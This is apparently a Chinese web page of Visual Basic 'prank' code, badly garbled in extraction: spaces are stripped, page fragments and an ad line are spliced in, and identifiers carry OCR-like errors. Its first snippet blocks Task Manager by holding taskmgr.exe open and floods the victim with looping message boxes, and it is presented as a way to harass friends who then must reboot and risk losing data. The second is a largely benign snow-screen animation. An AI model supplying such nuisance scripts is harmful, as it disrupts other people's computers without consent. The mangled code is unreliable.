VB代码(整人,实用几个有趣的希望有帮助!!)

1、使用方法：新建一个 txt 文本文档。然后把拓展名改成“.vbs”的格式。然后右键编辑，把代码复制进去，ok!1.整死你啊！此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你PrivateSubForm_Load()OpenEnviron$(WinDir)&system32taskmgr.exeForBinaryAs#1Form=1To999MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBo

2、xMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox呵呵，你知道我是谁吗？，16什么？不知道？,16那你打开我干什么？,16你有空没事做吧？！,16我.就是鼎鼎大名的 987876198,16987876198.”,16现在你把它打开了觉得后悔了吧？呵呵算了算了，不玩你了”，16现在我数 3 声就 IZJ 人，行了吧？”,161,16.,16,16,16噎噎噎噎，我又回来了！,16哈哈，是不是很过瘾呢？,16现在我先介绍下自己.,16我叫王得

3、地.”，16性别：男.,16今年 35 岁.”,16不好意思噢，我好像说多了.”，16不要这样喇，听我说完先好不？,16来来来，开始喇.,16我叫王得地.，16家中有屋又有田.,16生活乐无边.，16好像我又说多了.,16不要生气嘛，你认真看下去我就放你走.,16好，开始喇.”,16从前有座山.,16山里有个座庙.,16庙里有个和尚.”，16哈哈，想哭吗？，16被骗的感觉不爽吧？,16喂喂喂！别别.千万别重启电脑,16我告诉你怎么关吧,16先打开任务管理器,16忘了告诉你了，任务管理器打不开了,16别恨我啊你不小心，16电脑重新启动吧,16相信我吧，你知道我是不会骗人的，16如果你还想继续点的

4、话，你就别听我的,16呵呵，我又没有说这个东西没有,16我只想说桌面没有罢了.,16嘻嘻，爽不爽口丫?,16对着电脑屏幕大声说低调大好人,16不然，我就没办法的咯,16因为我把循环设置成 99 了，16想保存电脑数据只有继续点了,16绝对会出到去的,16好了，废话不多说了，祝你好运.，16制作:低调不倒，16QQ:987876198,16E-mail:不告诉你,16好，继续循环.，162.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。雪花可在任何窗口上飘荡，包括任务栏、开始菜单、弹出菜单等地方。本程

5、序与原程序的主要改进之处是：落下的雪花不会消失，会在屏幕底部不断堆积，双击屏幕底部的积雪可使积雪消失。本程序编译成 exe 文件运行后，只能通过系统任务管理器”才能终止运行。程序运行效果截图如下：本程序包含两个窗体，Form1 和 Form2,其中 Form1 是启动窗体。代码在在 VB6 调试通过：MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxNextEndSub*迅雷看看-免费*t2Jpg高清影视卜面是 Forml 窗体代码：=注意：

6、在属性窗口将窗体的 BorderStyle 属性设置为 0,即窗体是无边框窗体在窗体上放置一个控件：Timer1,不必设置任何属性PrivateDeclareFunctionSetWindowPosLibuser32(ByValhWndAsLong,ByValhWndlnsertAfterAsLong,ByValXAsLong,ByVal丫AsLong,ByValcxAsLong,ByValcyAsLong,ByValwFlagsAsLong)AsLongPrivateDeclareFunctionSetLayeredWindowAttributesLibuser32(ByValhWndAsL

7、ong,ByValcrKeyAsLong,ByValbAlphaAsByte,ByValdwFlagsAsLong)AsLongPrivateDeclareFunctionGetWindowLongLibuser32AliasGetWindowLongA(ByValhWndAsLong,ByValnlndexAsLong)AsLongPrivateDeclareFunctionSetWindowLongLibuser32AliasSetWindowLongA(ByValhWndAsLong,ByValnlndexAsLong,ByValdwNewLongAsLong)AsLongDimctSn

8、ow()AstySnow,ctSnowSAsLong,ctSeChangeAsLongPrivateTypetySnow定义表示雪花的数据类型XAsSingle:xVAsSinglexYAsSingle:yVAsSingleySeAsLong:SizeAsSingleEndTypePrivateSubForm_Load()ctSnowS=200300雪花数量ctSeChange=30雪花颜色的变化范围最大化窗口。注意：不要用在属性窗口设置 WindowState 属性的方式，也不使用 Me.WindowState=2 代码。否则，在用户调整任务栏状态的时候，会造成积雪的位置错位。Me.Wind

9、owState=0Me.Move0,0,Screen.Width,Screen.HeightReDimctSnow(1ToctSnowS)Me.Caption=雪花飘飘Me.AutoRedraw=True:Me.ScaleMode=3Me.BackColor=RGB(235-ctSeChange*2,235-ctSeChange*2,255)CallTransWin(Me.hWnd,Me.BackColor)将窗口背景色设置为透明的Form2.AutoRedraw=True:Form2.ScaleMode=3Form2.BackColor=Me.BackColorForm2.MoveForml

10、.Left,Forml.Top,Forml.Width,Forml.HeightCallTransWin(Form2.hWnd,Form2.BackColor)将窗口背景色设置为透明的Form2.ShowTimerl.Enabled=True:Timerl.lnterval=20EndSubPrivateSubTimer1_Timer()DimIAsLong,VAsSingle,H1AsSingle,IsDownAsBoolean,SeAsLong坐标、水平移动速度坐标、垂直移动速度雪花颜色、大小修改此数字，可改变雪花整体飘荡的速度初始化随机发生器WinInTopMe.hWnd,True使雪花

11、(窗口)显示在最前，包括显示到任务栏上面WinInTopForm2.hWnd,TrueMe.Line(0,0)-(Me.ScaleWidth,Me.ScaleHeight),Me.BackColor,BFForI=1ToctSnowSctSnow(I).X=ctSnow(I).X+ctSnow(I).xV*VctSnow(I).Y=ctSnow(I).Y+ctSnow(I).yV*VIfRnd*20Me.ScaleHeightThenCallSnowInit(I)未初始化，或超出下边界ctSnow(I).Size=2*调试代码ShowStrMe,I画一朵雪花Me.Font.Size=ctSno

12、w(I).SizeH1=Me.TextHeight(*)*0.5半个字符高度IfctSnow(I).XMe.ScaleWidthThenctSnow(I).X=-H1超出右边界,最下层积雪位置IsDown=ctSnow(I).YMe.ScaleHeight-H1IfIsDownThenctSnow(I).Y=Me.ScaleHeight-H1,积雪密度:Y 坐标后 H1*0.9 数值越小密度越大,数值过大，如 H1*1.5,会使积雪堆积成柱状或造成空隙。,数值过小，如 H1*0.5,会使积雪堆积速度缓慢。Se=Form2.Point(ctSnow(I).X+H1*0.5,ctSnow(I).Y

13、+H1*0.9)IfSe-1AndSeForm2.BackC010rThenIsDown=True,已落到最下面，在 Form2 的相同位置绘制积雪IfIsDownThenShowStrForm2,ICallSnowInit(I)IfctSnow(I).YMe.ScaleHeight*0.9ThenForm2.Font.Size=12Form2.CurrentX=(Me.ScaleWidth-8*Me.TextHeight(12)*0.5Form2.CurrentY=Me.ScaleHeight*0.92Form2.ForeColor=RGB(0,0,255)Form2.Print双击此处消除

14、积雪EndIfEndIfNextRandomizeEndSubPrivateSubShowStr(Kj,IAsLong)画一朵雪花DimH1AsSingleKj.Font.Size=ctSnow(I).SizeKj.CurrentX=ctSnow(I).XKj.CurrentY=ctSnow(I).YKj.ForeColor=ctSnow(I).SeIfctSnow(I).Size4.2ThenKj.Print*ElseIfctSnow(I).Size3ThenKj.DrawWidth=2ElseKj.DrawWidth=1H1=Kj.TextHeight(*)*0.5Kj.PSet(ctSn

15、ow(I).X+H1*0.5,ctSnow(I).Y+H1-1)EndIfEndSubPrivateSubSnowInit(IAsLong),初始化一朵雪花DimSAsSinglectSnow(I).X=Rnd*Me.ScaleWidthctSnow(I).xV=Rnd-0.5ctSnow(I).yV=Rnd*0.5+0.1S=2+Rnd*9字体最大 11 号IfctSnow(I).Size=0ThenctSnow(I).Y=Rnd*Me.ScaleHeightElseMe.Font.Size=SctSnow(I).Y=-Me.TextHeight(*)EndIfctSnow(I).Size=

16、SS=235-ctSeChange*2+Int(Rnd*ctSeChange*2)ctSnow(I).Se=RGB(S,S,255),雪花略带蓝色，否则在白背景时将看不见EndSubPrivateSubTransWin(hWndAsLong,TransColorAsLong)将窗口颜色 TransColor 设置为透明的DimExsTyleAsLongConstWS_EX_LAYERED=&H80000,GWL_ExsTyle=-20ExsTyle=WS_EX_LAYEREDOrGetWindowLong(hWnd,GWL_ExsTyle)SetWindowLonghWnd,GWL_E

17、xsTyle,ExsTyleSetLayeredWindowAttributeshWnd,TransColor,0,1EndSubPrivateSubWinInTop(nWndAsLong,OptionalInTopAsBoolean)窗口保持最前ConstHWND_NoTopMost=-2取消在最前ConstHWND_TopMost=-1最上ConstSWP_NoSize=&H1wFlags 参数ConstSWP_NoMove=&H2ConstSWP_NoZorder=&H4ConstSWP_NoActivate=&H10不激活窗口ConstSWP_ShowWindow=&H40ConstSWP_HideWindow=&H80DimnInAsLongIfInTopThennIn=HWND_TopMostElsenIn=HWND_NoTopMostSetWindowPosnWnd,nIn,0,0,0,0,SWP_NoSize+SWP_NoMove+SWP_NoActivateEndSub“下面是